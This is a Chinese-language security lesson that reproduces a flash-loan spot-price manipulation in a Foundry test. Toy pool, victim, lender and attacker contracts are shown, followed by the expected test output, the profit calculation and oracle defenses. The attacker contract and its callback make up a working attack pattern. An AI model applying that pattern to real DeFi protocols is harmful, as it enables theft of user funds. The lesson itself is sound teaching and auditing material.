智能合约与以太坊 / 系统课时

复现闪电贷操纵现货价格

复现闪电贷操纵现货价格

通过一笔原子交易模拟闪电贷借款、流动性池价格偏移、受害合约错误结算和归还借款,观察攻击者如何利用短暂失真的现货价格获利。完成后,你将拥有一个可重复运行的 Foundry 测试,并能判断为什么交易结束后价格恢复也无法撤销已经发生的错误支付。

学习目标

  • 理解闪电贷、AMM 储备量和即时价格之间的攻击关系。
  • 使用 Foundry 在一笔交易内复现价格操纵与错误结算。
  • 计算攻击收益,并识别现货价格预言机的安全边界。

价格为什么能在一笔交易内失真

假设某流动性池包含 1000 ETH 和 1000 TOKEN,采用无手续费的恒定乘积模型。TOKEN 的初始现货价格为 1 ETH。

攻击者通过闪电贷临时借入 9000 ETH,全部投入池中购买 TOKEN。在忽略手续费和整数舍入的情况下,储备量变化如下:

指标 操纵前 操纵后
ETH 储备 1000 10000
TOKEN 储备 1000 100
TOKEN 现货价格 1 ETH 100 ETH
攻击者获得 TOKEN 0 900

恒定乘积公式为:

x×y=kx \times y=k

其中 xx 是 ETH 储备,yy 是 TOKEN 储备。示例使用的现货报价为:

PTOKEN=xyP_{TOKEN}=\frac{x}{y}

这个储备量比值表示边际报价,并不代表可以按相同单价成交任意数量。真实 AMM 的兑换数量还受滑点、手续费和整数精度影响。

如果受害合约直接按操纵后的储备量比例购买 1 TOKEN,就可能将原本约值 1 ETH 的资产按 100 ETH 结算。攻击者随后反向交易,使池价格接近原值,再使用所得资金偿还闪电贷。

闪电贷价格操纵的原子交易时序图

构造可运行的攻击测试

使用 Foundry 编写最小复现。下面的 Solidity 示例保留恒定乘积交换和原子借贷的关键行为,不实现真实 ERC-20、AMM 手续费或 ERC-3156 回调接口,因此只能用于本地安全实验,不能直接部署为生产协议。

前置条件是已安装 Foundry,并能够使用 Solidity 0.8.24 编译。执行以下命令创建工程:

bash
forge init spot-oracle-lab
cd spot-oracle-lab

预期结果:当前目录包含 foundry.toml、src、test 和 lib/forge-std 等工程文件。初始化生成的示例文件不会影响本测试。

在 test/SpotOracle.t.sol 中写入完整测试代码:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";

// 无手续费的实验 AMM,TOKEN 使用内部记账单位。
contract ToyPool {
    uint256 public tokenReserve = 1000 ether;
    mapping(address => uint256) public tokens;

    constructor() payable {
        require(msg.value == 1000 ether, "seed");
    }

    function spot() external view returns (uint256) {
        return address(this).balance * 1 ether / tokenReserve;
    }

    function buy() external payable {
        uint256 oldEth = address(this).balance - msg.value;
        uint256 out = tokenReserve * msg.value / (oldEth + msg.value);
        require(out > 0, "zero output");
        tokenReserve -= out;
        tokens[msg.sender] += out;
    }

    function transferToken(address to, uint256 amount) external {
        require(tokens[msg.sender] >= amount, "tokens");
        tokens[msg.sender] -= amount;
        tokens[to] += amount;
    }

    function sell(uint256 amount) external {
        require(tokens[msg.sender] >= amount, "tokens");
        uint256 out = address(this).balance * amount /
            (tokenReserve + amount);
        tokens[msg.sender] -= amount;
        tokenReserve += amount;
        (bool ok, ) = payable(msg.sender).call{value: out}("");
        require(ok, "payment");
    }
}

// 漏洞:以可被当前交易改变的现货价格结算。
contract Victim {
    ToyPool public immutable pool;

    constructor(ToyPool p) payable {
        pool = p;
    }

    function buyOne() external {
        uint256 price = pool.spot();
        require(address(this).balance >= price, "funds");
        pool.transferToken(address(this), 1 ether);
        (bool ok, ) = payable(msg.sender).call{value: price}("");
        require(ok, "payment");
    }
}

contract FlashLender {
    function flash(address borrower, uint256 amount) external {
        uint256 beforeBalance = address(this).balance;
        require(beforeBalance >= amount, "liquidity");
        (bool sent, ) = payable(borrower).call{value: amount}("");
        require(sent, "send");
        (bool ok, ) = borrower.call(
            abi.encodeWithSignature("onFlash(uint256)", amount)
        );
        require(ok, "callback");
        require(address(this).balance >= beforeBalance, "unpaid");
    }

    receive() external payable {}
}

contract Attacker {
    ToyPool public pool;
    Victim public victim;
    FlashLender public lender;

    constructor(ToyPool p, Victim v, FlashLender l) {
        pool = p;
        victim = v;
        lender = l;
    }

    function attack() external {
        lender.flash(address(this), 9000 ether);
    }

    function onFlash(uint256 amount) external {
        require(msg.sender == address(lender), "lender only");
        pool.buy{value: amount}();
        victim.buyOne();
        pool.sell(pool.tokens(address(this)));
        (bool ok, ) = payable(address(lender)).call{value: amount}("");
        require(ok, "repay");
    }

    receive() external payable {}
}

contract SpotOracleTest is Test {
    function testFlashManipulation() public {
        vm.deal(address(this), 11000 ether);
        ToyPool pool = new ToyPool{value: 1000 ether}();
        Victim victim = new Victim{value: 1000 ether}(pool);
        FlashLender lender = new FlashLender();
        (bool funded, ) = address(lender).call{value: 9000 ether}("");
        require(funded, "fund lender");
        Attacker attacker = new Attacker(pool, victim, lender);

        assertEq(pool.spot(), 1 ether);
        attacker.attack();

        assertEq(lender.balance, 9000 ether);
        assertEq(pool.tokens(address(victim)), 1 ether);
        assertEq(victim.balance, 900 ether);
        assertGt(address(attacker).balance, 98 ether);
        assertLt(address(attacker).balance, 100 ether);
        assertLt(pool.spot(), 2 ether);
    }
}

这里的 ether 是 Solidity 的 101810^{18} 数值单位,内部 TOKEN 也采用 18 位精度记账,并不意味着池中存在真实的 ERC-20 代币。

buyOne() 的漏洞点是直接读取 pool.spot(),没有检查价格是否来自可操纵的同交易状态。示例中的闪电贷提供者不收手续费,且归还检查只比较借贷前后的 ETH 余额。

运行并观察攻击结果

在工程根目录执行:

bash
forge test --match-test testFlashManipulation -vv

预期输出(省略编译耗时和其他环境相关信息):

text
Ran 1 test for test/SpotOracle.t.sol:SpotOracleTest
[PASS] testFlashManipulation() (gas: <GAS>)
Suite result: ok. 1 passed; 0 failed; 0 skipped

<GAS> 表示实际 Gas 用量,具体数字可能因编译器和 Foundry 版本不同。成功标志是测试通过,而不是固定 Gas 数字。

测试中的关键断言对应四个可检查的事实:

  • 贷款方最终余额仍为 9000 ETH,说明攻击者归还了本金。
  • 受害合约收到 1 TOKEN,但 ETH 余额从 1000 下降到 900,说明其为该代币支付了 100 ETH。
  • 攻击者最终保留超过 98 ETH,说明偿还借款后仍有收益。
  • 池价格回落到低于 2 ETH/TOKEN,说明结算时的 100 ETH 高价只是短暂状态。

卖回时,攻击者已经转让了 1 TOKEN 给受害合约,因此只能卖回 899 TOKEN。池中残留资产比例与初始状态略有差别,不能声称价格精确恢复至 1 ETH。

按照无手续费数学模型,卖回 899 TOKEN 可取回约 8998.999 ETH,加上受害合约支付的 100 ETH,偿还 9000 ETH 后获得约 98.999 ETH。实际 Solidity 整数运算存在向下取整,因此测试使用范围断言而不是完全相等的利润断言。

识别真实协议中的风险边界

闪电贷本身只是提供临时资金。构成漏洞必须同时具备可短时操纵的价格来源,以及会根据该价格直接转移价值的业务逻辑,例如抵押借贷、清算、资产兑换或奖励结算。

价格使用方式 风险判断 应对方式
当前池储备量比值 易被同交易大额兑换改变 不直接用于高价值结算
短窗口 TWAP 增加持续操纵成本,但仍存在风险 检查窗口长度和流动性
独立预言机价格 降低对单一池状态的依赖 验证价格新鲜度、异常偏差和预言机可信性

不能简单地认为使用 TWAP 就绝对安全。若观察窗口太短、交易对流动性过低,或者预言机依赖的数据源本身受到操纵,攻击成本仍可能低于收益。

对于真实借贷协议,可以增加三个具体约束:

  1. 使用经过安全评估的独立价格预言机,并校验价格更新时间是否符合业务要求。
  2. 比较预言机价格与可信参考价格,超出经过风险评估的偏差阈值时暂停敏感结算。测试环境可以从 5% 的示例阈值开始验证,但生产值必须结合资产波动率和数据源确定。
  3. 为单笔借贷、清算或兑换设置合理的额度和滑点限制,降低异常报价造成的最大损失。

复现实验还刻意省略了手续费、真实流动性分布、MEV 竞争和链上预言机更新机制。在审计真实协议时,应通过主网分叉测试使用对应区块的实际池状态、路由参数和预言机数据,重新计算攻击收益与成本。

本实验揭示的安全问题是:一次成功完成的原子交易,可以同时包含价格操纵、错误结算和价格恢复。只观察交易结束时的池价格无法判断中途是否发生了价值转移,审计时必须检查每个外部调用使用的价格来源及其读取时刻。

按自己的节奏,确认真正理解。

目录与阅读设置

阅读设置

17

记录一个想法

复现闪电贷操纵现货价格

0 / 10000 · 笔记保存到账号。未提交的修改会在关闭、离开或刷新后丢失。

登录哪都通